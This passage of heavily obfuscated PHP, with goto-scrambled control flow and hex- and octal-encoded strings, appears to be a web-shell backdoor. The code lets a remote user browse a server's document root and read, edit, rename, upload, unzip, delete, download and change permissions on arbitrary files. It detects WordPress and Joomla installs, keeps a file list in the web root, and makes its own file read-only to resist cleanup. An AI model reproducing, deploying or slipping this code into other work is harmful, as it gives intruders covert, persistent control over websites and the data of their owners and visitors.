(!isset($_GET["\144\157\x77\156\x6c\x6f\x61\x64"])) { goto ovtL3; } goto iNSi3; xvBu9: goto gplZx; goto Z0ioE; K61Rm: $aPaH9 = $_SERVER["\x44\117\x43\x55\115\x45\116\124\137\122\117\x4f\x54"] . "\x2f\x66\x69\156\x64\145\162\144\141\164\x61\56\x74\170\164"; goto rebiA; NrlhS: exit; goto tJf3L; Xf03w: function uxuGj($ir2UM) { goto k3lVQ; vi7Ah: $dWgkk = fopen($AjexP, "\x72\x74"); goto APOG5; pcQHL: if (file_exists($ir2UM) and filesize($ir2UM) > 1) { goto zwFxr; } goto h8tGp; h8tGp: $IoOhN = array(); goto Sm9A2; k0_yh: goto jGURv; goto CqpDh; k3lVQ: $AjexP = $ir2UM; goto pcQHL; UP1Ji: fclose($dWgkk); goto roldn; roldn: return $IoOhN; goto rck1Q; Sm9A2: return $IoOhN; goto k0_yh; CqpDh: zwFxr: goto vi7Ah; APOG5: $IoOhN = explode("\12", fread($dWgkk, filesize($AjexP))); goto UP1Ji; rck1Q: jGURv: goto mqLPO; mqLPO: } goto fT2wM; R6BuH: header("\x45\170\160\151\x72\x65\x73\x3a\40\60"); goto gXyq4; Gd5zs: lTyHj: goto LOmck; Ze119: goto EcZQF; goto ILcQM; ioCZG: goto Smp1r; goto D5faf; rdDfl: $qag9p = $_GET["\x64\x69\162"] . "\57" . $_POST["\156\145\167\137\144\x69\162"]; goto pTDZJ; WAzUP: goto MahxP; goto CyDjU; WKo2f: if (!($LztR2 <= $QB964)) { goto florf; } goto ba3qP; OSHo2: if (!file_exists($aPaH9)) { goto QHihQ; } goto Q3Q8j; p4GPE: $fbXkE = "\74\146\x6f\x6e\x74\x20\x63\157\x6c\157\x72\75\x22\147\162\145\x65\156\x22\76\74\142\76\x4e\141\155\x65\40\x63\x68\141\156\147\145\x64\x21\x3c\x2f\x62\76\74\x2f\x66\x6f\156\164\x3e"; goto YEiIr; yLFr0: if (!empty($_POST["\x73\x65\x61\x72\x63\150\137\146\151\154\145"])) { goto J19Ff; } goto sIg89; hzjoI: goto MeHGB; goto nEpF0; ok3Ws: kIwM_: goto G18c9; LO9Y4: N_peK: goto szHu9; ZpcIm: echo "\x9\x9\x9\x3c\142\162\x3e\74\142\x72\76\15\xa\11\x9\x9\x44\x69\x72\x65\143\164\157\x72\171\72\40\15\12\11\11\x9"; goto RTPOT; nfUOK: mEvmp: goto K22kB; Ej8QL: goto iPzqW; goto wxNf4; scMem: echo "\x3c\x66\157\156\x74\40\x63\x6f\x6c\x6f\x72\75\42\x72\x65\x64\42\76\103\x61\156\40\x6e\x6f\x74\40\x63\x72\x65\x61\x74\x65\41\x3c\57\146\x6f\156\x74\76"; goto d5a9U; cNalV: $zshba = "\x69\163\x5f\x75\160\154\157\x61\144\x65\144\137\x66\151\x6c\x65"; goto AqiBo; qXIA4: E1odq: goto vj5HR; Xyl4I: g41tH: goto IHGon; tjGNA: echo "\x3c\x61\x20\150\162\x65\146\x3d\42\x68\x74\164\160\72\x2f\x2f" . $VdNWK . $QqgvR . "\77\144\151\162\x3d" . $qag9p . "\42\76" . $BwPeK["{$LztR2}"] . "\x3c\57\141\76"; goto Ej8QL; uT4gH: if (sizeof($_FILES) != 0) { goto kI8NA; } goto TzRgx; bMo_L: $w8S3s = "\x68\164\x74\x70\x3a\x2f\x2f" . $VdNWK . $QqgvR . "\x3f\144\x69\162\x3d" . $_GET["\x64\151\162"] . "\46\x65\x64\151\x74\75" . $qag9p; goto HvNO6; CyDjU: qQEth: goto YVJT8; hu3Xe: $xvhqj = array(); goto QaWTu; gGcyK: $JH7So = str_replace($_SERVER["\x44\x4f\x43\x55\x4d\x45\116\x54\137\122\x4f\117\x54"], $_SERVER["\x53\105\122\x56\x45\x52\x5f\116\x41\x4d\105"], $uKa5l); goto evmxc; XLxnO: function y1Fl9($dWgkk, $MVQ4B) { goto usYiW; c0Mmo: if (!empty($_POST["\x6e\145\x77\137\162\x65\x6d\x6f\164\x65"])) { goto be48y; } goto fEdbK; TmnaC: $YvMra = "\x3c\146\157\156\164\40\x63\x6f\x6c\x6f\x72\x3d\x22\x72\145\x64\42\x3e\74\142\76\125\x6e\141\x62\154\145\x20\x63\150\141\156\x67\145\x20\x70\145\162\155\x69\163\x73\151\157\x6e\41\x3c\57\142\x3e\74\x2f\x66\157\x6e\x74\76"; goto adENK; jW56q: echo "\74\164\144\x20\x63\x6f\154\163\x70\141\156\75\42\63\x22\40\141\154\151\147\x6e\x3d\42\x6c\x65\x66\164\x22\x3e\x3c\x66\157\x72\x6d\40\141\x63\164\x69\157\156\40\x3d\40\47\x68\164\164\x70\72\57\x2f" . $MVQ4B . "\77\162\x65\156\x61\155\145\75" . $dWgkk . "\x26\x64\151\x72\x3d" . $Ia7Nm . "\47\x20\155\145\164\x68\157\x64\40\75\40\x27\120\x4f\x53\x54\x27\76\12"; goto y8a8S; JgwMZ: echo "\x46\x69\x6c\145\x3a\40" . $dWgkk . "\x3c\142\x72\76\12"; goto cvZr3; oM_vM: echo "\x3c\144\151\166\x20\x61\154\x69\x67\x6e\75\x22\162\151\x67\x68\x74\x22\x3e\x3c\142\x72\76\74\151\x6e\160\x75\x74\x20\x74\171\x70\145\x20\x3d\40\47\163\165\x62\155\x69\x74\47\x20\x76\x61\x6c\165\x65\x20\75\x20\47\x53\x61\x76\x65\x27\x3e\74\x2f\x64\x69\x76\x3e\x3c\57\146\157\162\155\x3e\x3c\57\x74\x64\76\74\x2f\164\x72\76\xa"; goto rJUJX; adENK: goto X5E0k; goto npPv8; MilbN: $YvMra = "\74\x66\x6f\156\164\40\x63\x6f\x6c\x6f\162\75\42\147\162\x65\145\156\x22\76\x3c\142\76\x50\145\x72\155\x69\163\163\x69\x6f\156\40\x63\150\141\x6e\x67\145\x64\41\x3c\57\x62\x3e\74\57\x66\x6f\x6e\x74\76"; goto ZJ0zA; PsIqX: r4wgw: goto vldYY; LxB8E: goto vfUPT; goto oRN21; ke8xg: $Erk1y = fopen($dWgkk, "\167"); goto Eklqq; BUrrH: if (chmod($dWgkk, 0444)) { goto Dpxoy; } goto Q1PUk; rrC48: E18Pq: goto HtNxI; YNHpY: echo "\x3c\x74\x72\76\x3c\x74\144\40\141\x6c\x69\147\156\x3d\42\x6c\x65\x66\x74\x22\x3e\74\x66\157\162\155\40\x61\x63\x74\151\x6f\156\40\x3d\40\x27\150\164\164\160\x3a\x2f\x2f" . $MVQ4B . "\77\145\144\151\164\75" . $dWgkk . "\x26\144\151\x72\75" . $Ia7Nm . "\47\x20\x6d\x65\x74\x68\157\x64\40\75\40\47\120\x4f\x53\124\47\76\xa"; goto yvKbT; w1hGZ: $RQ7hX = fread($Erk1y, filesize($dWgkk)); goto VY6uT; JUrVD: goto RBNMX; goto Gco03; PZlGQ: fzUl3: goto SEh7g; yMpQK: if (empty($_POST["\x6e\145\x77"])) { goto vurBa; } goto c0Mmo; dyeOo: return "\156\x6f\x20\x68\141\166\145\40\x70\x65\162\x6d\x69\x73\x73\x69\x6f\156\40\146\157\162\40\143\150\155\157\x64\41"; goto qT4km; fEdbK: if (chmod($dWgkk, 0755)) { goto f2Xw9; } goto dyeOo; f9hpl: FjKvC: goto scFer; y1ngN: goto yIEuL; goto DRK2X; YN3ke: $YvMra = "\x3c\x66\x6f\156\164\40\x63\x6f\x6c\157\162\75\x22\162\x65\x64\42\x3e\x3c\142\x3e\125\156\x61\142\154\145\40\143\x68\x61\156\147\x65\x20\160\x65\162\155\151\163\163\x69\x6f\156\41\74\x2f\x62\76\x3c\x2f\146\x6f\x6e\164\x3e"; goto ZZCfl; Jk_YY: return "\x6e\157\40\x68\141\166\x65\40\160\145\162\155\151\x73\x73\x69\157\x6e\x20\x66\157\x72\x20\143\x68\155\x6f\x64\41"; goto WfxYG; nGvUp: goto l4ZX6; goto rrC48; Yew_E: goto FjKvC; goto sF1ba; OYo9p: goto r4wgw; goto hZQXr; sF1ba: vurBa: goto JPvZY; v52Gs: $RQ7hX = $_POST["\156\x65\167"] . $RQ7hX; goto ovhak; MnC0i: if ($_POST["\143\x68\x6d"] == "\60\x37\65\x35") { goto GHPeE; } goto ONy4i; S4Rr4: $RQ7hX = GX0lK($dWgkk); goto v52Gs; f2xAG: echo "\74\164\x64\x20\x63\157\x6c\x73\160\x61\156\75\42\63\42\40\141\154\x69\x67\156\x3d\42\x6c\x65\x66\x74\42\76\74\146\157\x72\x6d\40\141\143\x74\x69\x6f\x6e\40\75\40\47\x68\164\164\160\72\x2f\x2f" . $MVQ4B . "\x3f\162\145\156\x61\x6d\x65\x3d" . $dWgkk . "\x26\x64\151\162\75" . $Ia7Nm . "\x27\x20\x6d\x65\x74\x68\x6f\144\40\75\x20\x27\120\x4f\x53\124\47\x3e\12"; goto aErBe; hZQXr: AaDyo: goto Zd2qE; wpbyM: gx1Lh: goto KXPjT; yyaV3: goto ft8sW; goto ZyyZH; oU6CL: $RQ7hX = str_replace("\74\164\145\170\164\x61\162\145\141\76", "\x3c\x74\145\x78\164\x61\162\x65\141\x3e", $RQ7hX); goto JrBge; KXPjT: ft8sW: goto G5gTv; NOXA0: echo "\x3c\x74\x65\x78\x74\141\162\x65\141\x20\x6e\141\x6d\145\40\75\x20\x27\x6e\x65\167\47\x20\162\x6f\x77\163\40\x3d\40\47\62\60\x27\x20\143\157\x6c\x73\40\75\x20\x27\x31\62\x30\x27\76" . $RQ7hX . "\x3c\57\x74\x65\x78\x74\x61\x72\x65\141\76\x3c\x62\162\x3e\xa"; goto oM_vM; IW1tN: YvZVH: goto MkFKD; usYiW: if (empty($_POST["\143\x68\x6d"])) { goto NybWP; } goto MnC0i; cqjFH: echo "\74\x69\156\160\165\164\40\164\x79\x70\145\75\42\x73\x75\x62\x6d\151\164\42\x20\166\x61\x6c\165\x65\75\x22\157\153\42\x20\x2f\x3e\x3c\x2f\x66\157\x72\x6d\x3e\74\57\164\x64\x3e\x3c\57\x74\x72\x3e\xa"; goto BUrrH; AvD94: $Konpu = strripos($dWgkk, "\x2f"); goto F4Y06; ZJ0zA: X5E0k: goto UatLI; s2TWz: NybWP: goto yMpQK; DioYs: echo "\x3c\151\x6e\x70\165\x74\40\164\x79\x70\x65\75\x22\163\x75\x62\155\151\x74\x22\x20\x76\141\x6c\165\x65\x3d\42\157\153\x22\40\x2f\x3e\x3c\57\146\157\x72\155\x3e\74\57\164\x64\x3e\xa"; goto jW56q; aErBe: echo "\74\151\156\160\x75\164\x20\164\171\x70\x65\75\42\164\145\170\x74\42\40\156\x61\x6d\x65\x3d\47\x6e\137\x6e\x61\155\x65\x27\x20\163\x69\x7a\x65\x3d\42\67\62\42\x20\x76\141\x6c\165\145\75\42{$dWgkk}\42\76"; goto cqjFH; oRN21: saQ3O: goto Z7Cgx; y8a8S: echo "\74\151\156\x70\x75\164\x20\164\x79\160\145\75\x22\164\145\170\164\x22\40\156\141\155\145\x3d\47\156\x5f\x6e\141\155\145\47\x20\163\x69\172\145\75\42\67\62\42\x20\166\x61\154\165\x65\x3d\42{$dWgkk}\42\76"; goto TkUj2; G5gTv: echo $YvMra; goto s2TWz; q0lPR: aWqeH: goto DbAyN; rjGk7: $RQ7hX = fread($Erk1y, filesize($dWgkk)); goto gkFr5; gkFr5: fclose($Erk1y); goto iMvR2; ZTWHN: $ut6Ba = "\74\146\x6f\x6e\x74\40\x63\x6f\154\x6f\x72\75\x22\x67\x72\x65\145\156\42\76\74\142\76\x50\x65\x72\155\151\163\163\x69\x6f\156\40\143\x68\x61\156\147\145\x64\41\74\57\x62\x3e\x3c\57\x66\157\x6e\164\x3e"; goto SV8Z3; ssz1A: echo "\74\164\x72\x3e\x3c\164\144\40\141\154\151\147\x6e\x3d\42\x63\145\156\164\145\162\x22\x20\x63\x6f\154\163\x70\141\x6e\75\x22\65\x22\x3e\x3c\146\x6f\162\155\40\141\x63\164\151\x6f\156\40\x3d\x20\47\150\x74\164\x70\x3a\57\57" . $MVQ4B . "\x3f\x65\144\x69\x74\x3d" . $dWgkk . "\46\144\151\162\x3d" . $Ia7Nm . "\47\x20\x6d\x65\164\x68\157\x64\x20\x3d\40\x27\x50\117\x53\x54\x27\76\12"; goto JgwMZ; Bf8fF: Pfcwo: goto Yjbz9; XKGfp: echo "\74\x69\x6e\x70\x75\x74\40\x74\171\x70\145\x3d\x22\163\x75\x62\x6d\x69\x74\x22\x20\166\141\154\165\145\x3d\42\157\153\42\40\x2f\76\74\57\146\157\x72\155\76\x3c\57\x74\144\76\xa"; goto f2xAG; eH830: if (chmod($dWgkk, 0755)) { goto yFiZh; } goto TmnaC; Eklqq: if (fwrite($Erk1y, $_POST["\x6e\x65\167"])) { goto AaDyo; } goto mL1Ct; EYoM1: Dpxoy: goto ZTWHN; cvZr3: echo "\x3c\164\x65\x78\x74\141\x72\145\141\40\x6e\141\x6d\145\x20\x3d\x20\x27\x6e\145\x77\47\x20\162\157\x77\163\40\75\40\47\62\60\x27\x20\143\x6f\x6c\163\40\75\x20\47\x31\62\x30\47\x3e" . $RQ7hX . "\74\57\164\x65\x78\x74\x61\162\x65\x61\76\x3c\142\162\76\12"; goto qhu93; P51Ek: $RQ7hX = "\143\x61\x6e\47\x74\40\163\150\157\167"; goto vMLRr; HtNxI: if (!($Erk1y = fopen($dWgkk, "\162"))) { goto hyiAy; } goto w1hGZ; Z7Cgx: $YvMra = "\x3c\x66\157\x6e\164\40\143\x6f\x6c\x6f\x72\75\42\x67\x72\x65\145\x6e\42\76\x3c\142\x3e\x50\x65\x72\x6d\151\x73\x73\151\157\156\40\x63\150\x61\156\x67\x65\144\x21\74\57\142\76\74\57\146\157\x6e\164\76"; goto x2nxd; Q1PUk: $ut6Ba = "\x3c\146\157\156\x74\40\x63\157\x6c\x6f\x72\x3d\x22\162\x65\x64\x22\x3e\x3c\142\76\x55\156\141\x62\x6c\x65\x20\143\150\x61\x6e\147\x65\x20\x70\145\x72\x6d\x69\163\x73\x69\157\x6e\41\x3c\x2f\x62\x3e\74\x2f\146\x6f\156\x74\x3e"; goto VVYn6; Yjbz9: RBNMX: goto AvD94; H__ZS: echo "\x3c\x74\162\x3e\74\164\x64\40\141\x6c\151\x67\156\75\x22\143\x65\156\164\145\x72\42\40\x63\157\154\163\160\141\x6e\75\x22\x35\42\x3e\74\146\x6f\x72\x6d\40\141\143\x74\151\157\156\40\75\40\47\150\164\x74\x70\72\x2f\x2f" . $MVQ4B . "\x3f\145\144\151\164\x3d" . $dWgkk . "\x26\144\151\162\x3d" . $Ia7Nm . "\47\40\x6d\145\164\150\157\x64\40\x3d\40\x27\x50\117\x53\x54\x27\x3e\xa"; goto f_uCN; DbAyN: $szW_z = "\x20\55\40\74\146\x6f\156\x74\x20\x63\x6f\154\x6f\x72\75\x22\147\x72\x65\x65\x6e\42\x3e\74\x62\76\x45\x64\151\x74\145\x64\41\x3c\57\142\x3e\x3c\57\x66\x6f\x6e\164\76"; goto IW1tN; Jn3PU: $Ia7Nm = substr_replace($dWgkk, '', $Konpu, 99999); goto nM4be; JPvZY: $Konpu = strripos($dWgkk, "\57"); goto Jn3PU; qhu93: echo "\x3c\144\151\x76\40\141\x6c\x69\147\156\x3d\42\162\x69\147\x68\x74\x22\x3e\x3c\x62\162\x3e\x3c\x69\156\x70\x75\164\40\164\x79\x70\x65\x20\x3d\40\x27\163\x75\x62\x6d\151\164\47\40\166\141\154\x75\145\x20\x3d\40\x27\123\141\166\x65\47\x3e\74\x2f\x64\151\x76\76\74\57\x66\157\x72\x6d\76\74\x2f\x74\x64\x3e\74\57\x74\x72\76\xa"; goto YNHpY; iMvR2: $RQ7hX = str_replace("\74\x74\x65\170\x74\141\162\145\141\x3e", "\x3c\x74\x65\x78\x74\x61\x72\x65\x61\x3e", $RQ7hX); goto H__ZS; vldYY: fclose($Erk1y); goto JUrVD; SV8Z3: eaJEK: goto Yew_E; civne: GHPeE: goto eH830; NPrCe: echo "\156\x6f\40\x68\x61\x76\145\x20\x70\x65\x72\x6d\151\163\163\x69\157\156\74\x62\162\x3e"; goto P51Ek; Gco03: be48y: goto tZKnL; ZZCfl: goto gx1Lh; goto Pnrhw; qpdgn: if (fwrite($Erk1y, $RQ7hX)) { goto aWqeH; } goto HzTq3; f_uCN: echo "\x46\151\x6c\145\72\x20" . $dWgkk . $szW_z . "\x3c\142\162\76\xa"; goto NOXA0; HzTq3: $szW_z = "\40\x2d\x20\74\146\x6f\x6e\164\40\143\x6f\154\157\x72\x3d\x22\162\145\x64\42\76\74\142\x3e\125\156\x61\142\x6c\x65\40\164\x6f\40\145\144\x69\164\x21\74\x2f\142\x3e\x3c\x2f\x66\x6f\x6e\x74\76"; goto OSJeO; O_2_D: l4ZX6: goto oU6CL; mL1Ct: $szW_z = "\40\x2d\40\x3c\x66\x6f\x6e\164\40\x63\x6f\154\x6f\162\x3d\42\x72\x65\144\42\76\x3c\142\x3e\125\x6e\141\142\x6c\145\40\x74\x6f\40\145\144\x69\164\41\x3c\x2f\142\76\74\57\146\157\x6e\x74\x3e"; goto OYo9p; z2gSa: if (chmod($dWgkk, 0444)) { goto Pfcwo; } goto tj4O_; rJUJX: echo "\74\164\x72\76\74\x74\x64\40\x61\x6c\151\x67\x6e\x3d\42\154\x65\x66\x74\x22\76\x3c\146\157\162\x6d\40\x61\x63\x74\x69\x6f\156\x20\75\40\x27\150\x74\164\160\x3a\57\x2f" . $MVQ4B . "\77\x65\144\151\164\75" . $dWgkk . "\46\144\x69\162\75" . $Ia7Nm . "\47\x20\155\145\x74\x68\x6f\x64\40\75\x20\x27\120\x4f\x53\x54\47\76\12"; goto DFhN2; JrBge: $RQ7hX = htmlspecialchars($RQ7hX); goto ssz1A; YyHkJ: $YvMra = "\x3c\146\x6f\x6e\x74\x20\143\x6f\154\157\162\x3d\x22\162\145\144\42\x3e\74\142\76\x55\x6e\x61\x62\154\x65\40\143\150\141\156\147\x65\40\x70\x65\162\x6d\151\x73\163\151\x6f\156\41\x3c\x2f\142\x3e\x3c\x2f\x66\157\x6e\x74\76"; goto LxB8E; MkFKD: fclose($Erk1y); goto z2gSa; P3UZ_: if (chmod($dWgkk, 0644)) { goto Fu1ak; } goto YN3ke; VVYn6: goto eaJEK; goto EYoM1; tZKnL: if (chmod($dWgkk, 0755)) { goto dUsmF; } goto Jk_YY; DRK2X: hyiAy: goto NPrCe; n3bIx: $Erk1y = fopen($dWgkk, "\x72"); goto rjGk7; npPv8: yFiZh: goto MilbN; ovhak: $Erk1y = fopen($dWgkk, "\167"); goto qpdgn; tj4O_: return "\156\157\40\150\141\x76\x65\x20\x70\x65\162\x6d\x69\x73\163\x69\157\156\40\146\157\x72\40\x63\150\155\157\144\x21"; goto Bf8fF; WfxYG: dUsmF: goto S4Rr4; Zd2qE: $szW_z = "\x20\x2d\40\x3c\146\x6f\156\x74\40\x63\x6f\x6c\x6f\x72\75\x22\x67\162\x65\x65\x6e\x22\76\x3c\x62\x3e\105\x64\x69\x74\145\x64\41\74\x2f\x62\76\x3c\57\x66\x6f\156\x74\76"; goto PsIqX; w30Xp: if ($_POST["\x63\150\155"] == "\60\66\x34\x34") { goto Db2MD; } goto rLiS2; QVBBP: $YvMra = "\74\x66\x6f\156\x74\x20\143\x6f\x6c\x6f\162\x3d\x22\x67\x72\x65\x65\x6e\x22\x3e\x3c\142\76\120\x65\162\155\x69\163\163\x69\x6f\x6e\x20\x63\150\x61\156\147\145\x64\x21\74\x2f\x62\x3e\74\57\x66\157\156\164\x3e"; goto wpbyM; VY6uT: fclose($Erk1y); goto y1ngN; vMLRr: yIEuL: goto O_2_D; UatLI: goto ft8sW; goto PZlGQ; SEh7g: if (chmod($dWgkk, 0444)) { goto saQ3O; } goto YyHkJ; ivNWl: $RQ7hX = ''; goto nGvUp; OSJeO: goto YvZVH; goto q0lPR; DFhN2: echo "\74\x69\x6e\160\x75\x74\x20\x6e\141\x6d\x65\75\42\x63\150\x6d\42\x20\x73\151\172\x65\75\42\x34\42\40\164\171\x70\x65\x3d\x22\164\x65\170\164\42\40\160\154\141\x63\x65\150\157\154\x64\145\162\x3d\x22" . gM9cq($dWgkk, "\x31") . "\42\57\x3e"; goto XKGfp; qT4km: f2Xw9: goto ke8xg; F4Y06: $Ia7Nm = substr_replace($dWgkk, '', $Konpu, 99999); goto n3bIx; nM4be: if (file_exists($dWgkk) and filesize($dWgkk) > 1) { goto E18Pq; } goto ivNWl; ONy4i: if ($_POST["\x63\150\x6d"] == "\60\x34\x34\64") { goto fzUl3; } goto w30Xp; oXIWg: goto ft8sW; goto civne; TkUj2: echo "\x3c\151\156\160\x75\x74\40\164\x79\160\145\75\x22\x73\x75\142\x6d\151\x74\42\x20\166\141\x6c\165\145\75\42\157\153\x22\40\57\x3e\x3c\x2f\x66\x6f\162\x6d\x3e\x3c\x2f\164\x64\76\74\x2f\164\x72\x3e\xa"; goto f9hpl; Pnrhw: Fu1ak: goto QVBBP; x2nxd: vfUPT: goto yyaV3; ZyyZH: Db2MD: goto P3UZ_; yvKbT: echo "\74\x69\x6e\x70\165\x74\x20\x6e\x61\x6d\x65\75\x22\143\150\155\x22\x20\163\151\x7a\x65\75\42\x34\42\x20\x74\x79\160\145\x3d\42\x74\x65\x78\x74\42\40\160\154\x61\143\x65\150\x6f\154\x64\x65\x72\75\x22" . gm9cQ($dWgkk, "\61") . "\x22\x2f\76"; goto DioYs; rLiS2: $YvMra = "\x30\67\x35\65\74\142\162\x3e\x30\x34\64\x34\74\x62\162\x3e\x30\66\x34\64\x3c\x62\162\x3e"; goto oXIWg; scFer: } goto P9h3R; oZsLs: goto kIwM_; goto DOjb2; RW3eb: MahxP: goto ioCZG; dOPqd: unlink($aPaH9); goto LjCDj; B5p40: goto rzo71; goto u39u2; L7_yf: $LztR2 = 1; goto Hxqi_; uk_0I: $QqgvR = $_SERVER["\x53\103\122\x49\x50\124\x5f\116\101\x4d\105"]; goto Ox0jV; abb0P: $VdNWK = $_SERVER["\x53\x45\x52\126\105\x52\x5f\x4e\x41\115\x45"]; goto Wb2hf; zd7Nq: $w8S3s = "\150\x74\x74\160\x3a\57\x2f" . $VdNWK . $QqgvR . "\x3f\144\151\162\x3d" . $_GET["\x64\151\x72"] . "\46\x6e\145\x77\x5f\x64\151\x72\x3d" . $qag9p; goto j95qR; HQO8v: $LztR2 = 0; goto U8eX9; IHGon: if (empty($_POST["\x66\x6f\x72\x5f\x64\145\x6c"])) { goto b2Dcx; } goto CpjCT; oz78r: if (isset($_GET["\x64\x69\x72"])) { goto A0ywM; } goto y4bnf; y36Yt: goto DubCt; goto HIcgm; pSVyp: k97f1: goto N1mrP; ZCwQ2: $rwHC9 = "\150\164\164\x70\x3a\x2f\57" . $rwHC9 . "\77\146\x69\156\x64\145\x72"; goto Fvq0g; Ox0jV: $DtzO6 = array(); goto cDKDj; ob3V3: paWk5($_SERVER["\x53\103\x52\111\120\x54\137\x46\x49\x4c\x45\x4e\x41\x4d\105"]); goto Xyl4I; ttSZj: $qag9p = $_SERVER["\104\117\x43\125\x4d\x45\x4e\x54\x5f\122\x4f\x4f\x54"]; goto ncknb; eLvFC: y1fL9($_GET["\145\144\x69\164"], $MVQ4B); goto lgqsY; i3hIb: $CBxRP = NDomT($_SERVER["\x44\x4f\x43\125\x4d\x45\116\124\137\x52\x4f\x4f\x54"]); goto pe2Nf; aTkN9: QwZuR: goto cQKyY; Bnibf: echo $fbXkE; goto eMK1j; zqHQr: $bmi_c = $_POST["\x66\157\162\x5f\x64\145\154"]; goto fLVNY; HLNHF: if (!($L2igI[$n7IRr] !== null and $L2igI[$n7IRr] !== "\40" and $L2igI[$n7IRr] !== '' and $L2igI[$n7IRr] !== "\56" and $L2igI[$n7IRr] !== "\x2e\56")) { goto QwZuR; } goto zsQS9; ZZkHo: fclose($A12k0); goto U4RHe; upOid: if (isset($_GET["\x64\x69\x72"])) { goto hQE5F; } goto ttSZj; q2S4r: A6_FD: goto p4GPE; ZzU_v: function Zwpme() { goto mnpgl; T8FQ3: return "\x4a\x6f\157\x6d\x6c\x61\x21"; goto sOCy9; PqbEJ: iDsLv: goto fOq_c; sOCy9: goto iDsLv; goto ZfMhW; mnpgl: if (is_dir($_SERVER["\x44\117\x43\125\115\x45\x4e\x54\137\x52\117\x4f\124"] . "\57\x61\144\x6d\151\156\151\x73\x74\x72\141\x74\157\x72\x2f") and is_dir($_SERVER["\104\117\103\x55\x4d\105\x4e\x54\x5f\122\117\117\124"] . "\57\x63\157\155\160\157\x6e\x65\x6e\164\163\57") and is_dir($_SERVER["\104\x4f\103\x55\x4d\105\x4e\x54\137\x52\117\117\x54"] . "\57\151\x6e\143\x6c\x75\144\145\x73\57")) { goto gQEVI; } goto ZfE4F; B0l1c: gQEVI: goto T8FQ3; Ac7Pq: return "\125\x6e\x6b\x6e\157\x77\156"; goto kp8mg; ZfE4F: if (is_dir($_SERVER["\x44\x4f\x43\x55\115\105\x4e\124\137\122\x4f\117\x54"] . "\x2f\167\x70\55\143\x6f\156\164\145\x6e\x74\57") and is_dir($_SERVER["\104\x4f\x43\x55\115\x45\116\124\137\122\117\117\124"] . "\x2f\167\160\55\x61\144\155\x69\156\57") and is_dir($_SERVER["\104\117\103\125\115\x45\116\124\x5f\122\x4f\x4f\x54"] . "\57\x77\160\55\151\156\143\154\x75\144\x65\x73\x2f")) { goto z80Xu; } goto Ac7Pq; kp8mg: goto iDsLv; goto B0l1c; qUEPk: return "\127\x6f\x72\x64\x50\x72\145\x73\x73"; goto PqbEJ; ZfMhW: z80Xu: goto qUEPk; fOq_c: } goto Mms5Y; oOHbG: $rwHC9 = "\x68\x74\x74\160\72\57\57" . $rwHC9 . "\x3f\146\151\156\x64\145\x72"; goto HdZXC; WyfMr: $w8S3s = "\150\164\x74\x70\72\x2f\57" . $VdNWK . $QqgvR . "\x3f\x64\x69\162\75" . $qag9p; goto aLK0K; QvzDi: $LztR2++; goto Be8GI; DwTlW: jqLnL: goto M_Cgd; Gqh_1: DubCt: goto SoZOb; jM6K5: s5sZv: goto QvzDi; QoeRX: mP2FX: goto k1N6X; UXqP9: if (isset($_GET["\144\151\x72"])) { goto ICx_b; } goto xmi1W; CbyWF: echo "\x3c\x61\x20\x68\x72\145\x66\x3d\x22" . "\150\164\164\x70\x3a\57\x2f" . $VdNWK . $QqgvR . "\77\x64\151\x72\x3d" . $_SERVER["\104\117\x43\125\115\105\116\124\x5f\x52\x4f\x4f\x54"] . "\x22\x3e" . $_SERVER["\x44\117\103\x55\115\x45\116\x54\x5f\122\x4f\117\x54"] . "\x3c\57\141\76"; goto ZpcIm; q584q: A16xm($_GET["\144\x65\x6c"]); goto QIeXQ; DJVjG: $eb51o = UxuGj($B55HZ); goto Obdrk; opc3v: echo "\74\164\162\76\74\164\x64\76\106\x69\156\151\x73\x68\x21\x3c\57\x74\x64\76\x3c\57\164\162\x3e"; goto Q3xHz; HWC40: S54lI: goto me323; pTDZJ: rzo71: goto zd7Nq; FpC9Y: unlink($B55HZ); goto glwiB; R_nez: $fbXkE = "\74\x66\157\156\x74\40\x63\x6f\x6c\x6f\x72\x3d\x22\162\145\x64\x22\76\74\142\76\x4e\141\x6d\145\40\143\141\156\40\x6e\157\x74\40\x62\145\40\x63\150\x61\156\147\145\144\x3c\57\142\x3e\74\x2f\x66\x6f\156\164\76"; goto cZ3fB; Q3Q8j: $L2igI = uXUgJ($aPaH9); goto hu3Xe; USSyq: E9ifv($w8S3s); goto kedt_; g3wGR: Q_ntA: goto k980M; i3o2E: elq9q: goto Epl6l; p1ei3: if (!isset($_GET["\x6a\165\153\x65"])) { goto dss35; } goto i3hIb; Nrsy7: $qag9p = $_GET["\144\151\x72"] . "\x2f" . $_POST["\x6e\x65\167\x5f\x66\x69\154\145"]; goto HFGvx; Pu209: CyqNV: goto Ks4Ng; gdP6e: $qag9p = $_GET["\x64\151\x72"]; goto McIeq; QlMPR: header("\103\157\x6e\x74\145\156\164\x2d\x4c\x65\x6e\147\164\150\x3a\x20" . filesize($whHds)); goto XgyOQ; vT88x: $rwHC9 = str_replace($_SERVER["\x44\x4f\103\x55\x4d\x45\116\124\x5f\122\x4f\x4f\x54"], $_SERVER["\x53\x45\122\126\105\122\x5f\116\x41\115\105"], $_SERVER["\x53\103\122\x49\120\124\137\106\x49\x4c\105\116\101\115\x45"]); goto ZCwQ2; rK4mL: $XY0kc = "\100\x24\x69\163\142\157\x74"; goto uUvCz; MZxU4: n6I2I: goto q584q; Y9dBE: hZdgt: goto Nrsy7; n1zYJ: if (!(isset($_FILES) && $_FILES["\151\156\x70\x75\x74\146\151\154\145"]["\145\x72\162\x6f\162"] == 0)) { goto y1_MN; } goto upOid; PHOWA: chmod($_SERVER["\x53\x43\122\111\120\124\x5f\x46\x49\114\x45\116\x41\115\x45"], 0444); goto B_Re_; u39u2: ICx_b: goto rdDfl; vgfDq: function Mvc0w($dWgkk) { goto Gbxos; q0Jtx: $zhek9 = str_replace($SYOxk, '', $dWgkk); goto F7xz2; F7xz2: $QgqT5 = new ZipArchive(); goto y6bAF; N4Jj4: echo "\x3c\164\162\76\74\164\144\x3e\x46\151\154\x65\72\x20{$SYOxk}\x20\55\x20\74\x66\x6f\156\x74\40\143\157\x6c\x6f\162\75\42\147\x72\x65\x65\x6e\x22\x3e\x75\x6e\x7a\x69\160\x20\163\x75\x63\143\x65\x73\x73\x66\x75\x6c\x6c\x79\74\57\x66\x6f\x6e\x74\x3e\74\57\x74\x64\76\74\57\x74\162\x3e"; goto HQ1yj; y6bAF: $QgqT5->open($dWgkk); goto t4pGg; t4pGg: $QgqT5->extractTo($zhek9); goto eRcYe; Gbxos: $SYOxk = strrchr($dWgkk, "\x2f"); goto q0Jtx; eRcYe: $QgqT5->close(); goto N4Jj4; HQ1yj: } goto Xf03w; 